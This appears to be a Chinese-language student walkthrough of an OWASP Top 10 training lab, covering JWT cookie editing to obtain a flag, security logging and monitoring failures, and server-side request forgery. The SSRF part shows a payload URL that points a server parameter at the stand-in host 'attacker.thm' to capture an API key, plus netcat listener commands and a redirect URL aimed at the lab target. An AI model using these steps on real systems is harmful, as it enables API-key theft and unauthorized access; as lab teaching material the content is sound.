如果登录成功,您的浏览器中现在应该有一个 JWT 作为 cookie 存储。按 F12 键调出开发人员工具。

根据您的浏览器,您将能够从以下选项卡编辑 cookie:

火狐浏览器

火狐开发者工具

铬合金

Chrome 开发者工具

包含 JWT 令牌的网站 cookie 的名称是什么?

jwt-session

 

 

下一问

 

更改jwt的值为文中提到的值

 

 刷新得到flag

9. 安全日志记录和监控失败

设置 Web 应用程序时,应记录用户执行的每个操作。日志记录很重要,因为一旦发生事件,可以追踪攻击者的活动。一旦追踪他们的行为,就可以确定他们的风险和影响。如果没有日志记录,就无法知道攻击者在获得对特定 Web 应用程序的访问权限时执行了哪些操作。这些更显着的影响包括:

  • 监管损害:如果攻击者获得了对用户个人身份信息的访问权限,并且没有相关记录,则最终用户会受到影响,并且应用程序所有者可能会根据法规受到罚款或更严厉的处罚。
  • 进一步攻击的风险:如果不进行日志记录,可能无法检测到攻击者的存在。这可能允许攻击者通过窃取凭据、攻击基础设施等方式对 Web 应用程序所有者发起进一步的攻击。

日志中存储的信息应包括以下内容:

  • HTTP 状态代码
  • 时间戳
  • 用户名
  • API端点/页面位置
  • IP地址

这些日志包含一些敏感信息,因此确保它们的安全存储以及这些日志的多个副本存储在不同位置非常重要。

您可能已经注意到,在发生违规或事件后,日志记录变得更加重要。理想的情况是进行监控以检测任何可疑活动。检测这种可疑活动的目的是完全阻止攻击者,或者如果检测到攻击者的存在比预期晚得多,则可以减少他们造成的影响。可疑活动的常见示例包括:

  • 对特定操作进行多次未经授权的尝试(通常是身份验证尝试或访问未经授权的资源,例如管理页面)
  • 来自异常 IP 地址或位置的请求:虽然这可能表明其他人正在尝试访问特定用户的帐户,但也可能存在误报率。
  • 自动化工具的使用:可以轻松识别特定的自动化工具,例如使用用户代理标头的值或请求的速度。这可能表明攻击者正在使用自动化工具。
  • 常见的有效负载:在 Web 应用程序中,攻击者通常使用已知的有效负载。检测这些有效负载的使用可以表明有人对应用程序进行未经授权/恶意测试。

仅仅检测可疑活动是没有帮助的。需要根据影响级别对这种可疑活动进行评级。例如,某些行动将比其他行动产生更大的影响。这些影响更大的行动需要尽快做出反应;因此,他们应该发出警报,引起有关方面的重视。

通过分析提供的示例日志文件将这些知识付诸实践。Download Task Files您可以通过单击任务顶部的按钮来下载它。

答题

 

 下载任务文件

 

 观察可得IP

正在进行暴力破解攻击

10. 服务器端请求伪造(SSRF)

服务器端请求伪造

当攻击者可以强制 Web 应用程序代表他们向任意目的地发送请求,同时控制请求本身的内容时,就会出现这种类型的漏洞。SSRF 漏洞通常源于我们的 Web 应用程序需要使用第三方服务的实现。

例如,考虑一个使用外部 API 向其客户端发送 SMS 通知的 Web 应用程序。对于每封电子邮件,网站都需要向 SMS 提供商的服务器发出 Web 请求,以发送要发送的消息内容。由于 SMS 提供商按消息收费,因此他们要求您为您向其 API 发出的每个请求添加他们预先分配给您的密钥。API 密钥充当身份验证令牌,并允许提供商知道向谁计费每条消息。该应用程序将像这样工作:

SSRF

通过查看上图,很容易看出漏洞所在。应用程序 server 向用户公开该参数,该参数定义了 SMS 服务提供商的服务器名称。如果攻击者愿意,他们可以简单地更改 的值 server以指向他们控制的计算机,并且您的 Web 应用程序会很乐意将 SMS 请求转发给攻击者而不是 SMS 提供商。作为转发消息的一部分,攻击者将获取 API 密钥,从而允许他们使用 SMS 服务发送消息,费用由您承担。为此,攻击者只需向您的网站发出以下请求:

https://www.mysite.com/sms?server=attacker.thm&msg=ABC

这将使易受攻击的 Web 应用程序发出请求:

https://attacker.thm/api/send?msg=ABC 

然后您可以使用 Netcat 捕获请求的内容:

攻击盒
user@attackbox$ nc -lvp 80
Listening on 0.0.0.0 80
Connection received on 10.10.1.236 43830
GET /:8087/public-docs/123.pdf HTTP/1.1
Host: 10.10.10.11
User-Agent: PycURL/7.45.1 libcurl/7.83.1 OpenSSL/1.1.1q zlib/1.2.12 brotli/1.0.9 nghttp2/1.47.0
Accept: */*

这是 SSRF 的一个非常基本的案例。如果这看起来没有那么可怕,那么 SSRF 实际上可以用来做更多的事情。一般来说,根据每个场景的具体情况,SSRF 可用于:

  • 枚举内部网络,包括 IP 地址和端口。
  • 滥用服务器之间的信任关系并获取对其他受限服务的访问权限。
  • 与一些非 HTTP 服务交互以获取远程代码执行 (RCE)。

让我们快速了解一下如何使用 SSRF 来滥用某些信任关系。

实际例子

导航到 http://10.10.234.226:8087/,您将在其中找到一个简单的 Web 应用程序。经过一番探索后,您应该看到一个管理区域,这将是我们的主要目标。请按照以下问题的说明来访问网站的限制区域!

答题

 访问网站,点击admin area

 

将光标移动到按钮上

 在浏览器左下方出现答案

 

注:下一步请教了  咕噜叽里  大佬,感谢大佬抽时间屏幕共享演示怎么操作

 先输入命令监听8087端口

nc -lvp 8087

 

 在网址中键入

http:// 目标机IP :8087/download?server=  攻击机IP:8087&id=75482342

 使服务请求转移到我们攻击机上

 监听到答案

 

 

参考链接:https://www.cnblogs.com/Hekeats-L/p/16964401.html